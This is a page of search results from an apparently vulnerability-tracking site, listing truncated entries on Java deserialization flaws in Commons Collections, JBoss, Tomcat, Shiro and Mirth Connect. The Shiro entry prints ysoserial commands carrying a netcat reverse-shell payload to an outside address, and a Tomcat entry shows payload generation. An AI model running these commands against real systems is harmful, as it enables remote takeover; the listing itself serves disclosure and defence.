Lucene search
+L

494 matches found

Kitploit
Kitploit
added 2026/09/16 3:51 a.m.4 views

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE Proof-of-Concept exploit for CVE-2023-43208 , an unauthenticated Remote Code Execution vulnerability in Mirth Connect versions prior to 4.4.1. Description Mirth Connect is a widely deployed open-source healthcare integration engine. This vulnerability leverages ...

9.8CVSS8.6AI score0.82708EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/15 8:33 p.m.8 views

CVE-2015-6420

CVE-2015-6420 反序列化漏洞 参考 Java反序列化漏洞-CC 利用链分析...

9.8CVSS7.9AI score0.17929EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/15 2:21 p.m.4 views

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE 使用Burp Suite利用Java反序列化漏洞 0x01 搭建Jboss JMXInvokerServlet 反序列化漏洞 测试环境: JBoss JMXInvokerServlet 反序列化漏洞 漏洞原理:JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。 root@kitploit:...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/15 12:24 p.m.13 views

ysoserial

ysoserial 一个用于生成利用不安全的 Java 对象反序列化漏洞的 payload 的概念验证工具。 描述 最初作为 AppSecCali 2015 演讲 "Marshalling Pickles:对象反序列化将如何毁掉你的一天" 的一部分发布,包含 Apache Commons Collections(3.x 和 4.x)、Spring Beans/Core(4.x)和 Groovy(2.3.x)的 gadget chain。 后来更新,增加了针对 JRE = 1.7u21 及其他几个库的额外 gadget chain。 ysoserial 是一个工具集合,其中包含在常见 Ja...

6AI score
SaveExploits0References7
Kitploit
Kitploit
added 2026/09/15 4:11 a.m.12 views

CVE-2020-9484

CVE-2020-9484 用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞 CVE-2020-9484 环境: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz(webapp是s2-053,在其lib下加了commons-collections4-4.0.jar) 启动 /yourtomcatdir/bin/startup.sh 生成payload java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch...

7CVSS7.4AI score0.56636EPSS
SaveExploits17
Kitploit
Kitploit
added 2026/09/14 7:45 a.m.8 views

CVE-2025-24813

CVE-2025-24813 Tomcat PoC 用于授权 CTF/实验室环境的 PoC。它通过部分 PUT 写入 Tomcat 会话文件来利用 CVE-2025-24813,然后使用 JSESSIONID 触发反序列化。 先决条件 Python 3 Python 模块 requests Java JDK(java 和 javac) 本目录中包含的文件 commons-collections-3.2.1.jar 不需要 ysoserial。 文件 poccve202524813.py:Python 包装脚本,自动完成生成、上传和触发。...

10CVSS8.6AI score0.99927EPSS
SaveExploits51
Kitploit
Kitploit
added 2026/09/13 7:10 a.m.7 views

CVE-2025-24813

CVE-2025-24813 描述 本仓库旨在提供清晰的说明,用于在 Windows Server 2019 Standard 上快速部署 Tomcat v9.0.90 和 java 25.0.1 2025-10-21 LTS,以进行网络安全威胁模拟演练。exploit.py 利用 ysoserial-all.jar 中的 CommonsCollections6 模块生成有效载荷,该载荷随后被 %CATALINAHOME%\webapps\ROOT\WEB-INF\lib 中的 commons-collections-3.2.1.jar 依赖项反序列化。 设置受害者 Windows...

10CVSS8.5AI score0.99927EPSS
SaveExploits51References1
Kitploit
Kitploit
added 2026/09/12 12:12 a.m.7 views

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 不安全反序列化实验室 基础 Java REST 应用程序,存在不安全反序列化漏洞,可导致 RCE。 项目必须在 Java 8u45 上运行 基于 Maven,依赖如下: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 您可以通过 Maven 添加更多依赖,以便尝试其他 gadget。 运行 打开(推荐使用 IntelliJ IDEA)并运行 src/main/java/com/deserialization/lab/Main.java 中的 Ja...

9.8CVSS7.7AI score0.37721EPSS
SaveExploits7References3
Kitploit
Kitploit
added 2026/09/11 6:11 a.m.8 views

SHIRO-550

Shiro RememberMe 1.2.4 反序列化漏洞(SHIRO-550) commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989' nc...

6AI score
SaveExploits0
Nuclei
Nuclei
added 2026/09/10 4:50 a.m.11 views

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

10CVSS7.7AI score0.85562EPSS
SaveExploits8References6
Packet Storm
Packet Storm
added 2026/08/28 12:00 a.m.20 views

...[ More ]

This Metasploit module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. T...

9.8CVSS7.4AI score0.86518EPSS
SaveExploits7
OSV
OSV
added 2026/08/04 2:52 p.m.9 views

CLSA-2026-1777509604 TuxCare security update for commons-collections (1 CVE)

TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2.1-tuxcare.1...

9.8CVSS7.7AI score0.17929EPSS
SaveExploits1
OSV
OSV
added 2026/08/04 2:36 p.m.18 views

ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

9.8CVSS7.2AI score0.17929EPSS
SaveExploits1
OSV
OSV
added 2026/08/04 2:36 p.m.12 views

ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

10CVSS6.7AI score0.85562EPSS
SaveExploits8
RedhatCVE
RedhatCVE
added 2026/06/05 7:13 p.m.16 views

CVE-2026-40901

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

9CVSS6.3AI score0.0063EPSS
SaveExploits2References1
GithubExploit
GithubExploit
added 2026/05/28 8:38 a.m.552 views

osv-java-poc

OSV Scanner CVE Detection POC — Vulnerable Java App ⚠️ WA...

10CVSS7.2AI score0.99999EPSS
SaveExploits498
Tenable Nessus
Tenable Nessus
added 2026/05/04 12:00 a.m.19 views

RHCOS 2 : Red Hat OpenShift Enterprise 2.2.10 (RHSA-2016:1773)

The remote Red Hat Enterprise Linux CoreOS 2 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2016:1773 advisory. - CXF: SSL hostname verification bypass, incomplete CVE-2012-6153 fix CVE-2014-3577 - apache-commons-collections: InvokerTransformer...

10CVSS7.7AI score0.85562EPSS
SaveExploits32References41
EUVD
EUVD
added 2026/04/16 8:57 p.m.24 views

EUVD-2026-23310

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

9CVSS6.3AI score0.0063EPSS
SaveExploits2References2
IBM Security Bulletins
IBM Security Bulletins
added 2026/04/01 6:28 a.m.9 views

Security Bulletin: IBM Content Navigator uses Apache Commons Collections resulting in multiple CVEs

Summary IBM Content Navigator is affected by CVE-2015-4852, a Deserialization of Untrusted Data vulnerability CWE-502 in Apache Commons Collections, originally identified in Oracle WebLogic Server. A remote attacker could exploit this vulnerability by sending a crafted serialized Java object over...

10CVSS7.8AI score0.96032EPSS
SaveExploits28Affected Software1
GithubExploit
GithubExploit
added 2026/03/12 12:28 p.m.221 views

Exploit for Deserialization of Untrusted Data in Nextgen Mirth_Connect

CVE-2023-43208 — Mirth Connect RCE !Pythonhttps://img.shie...

9.8CVSS5.9AI score0.82708EPSS
SaveExploits21
Rows per page
Query Builder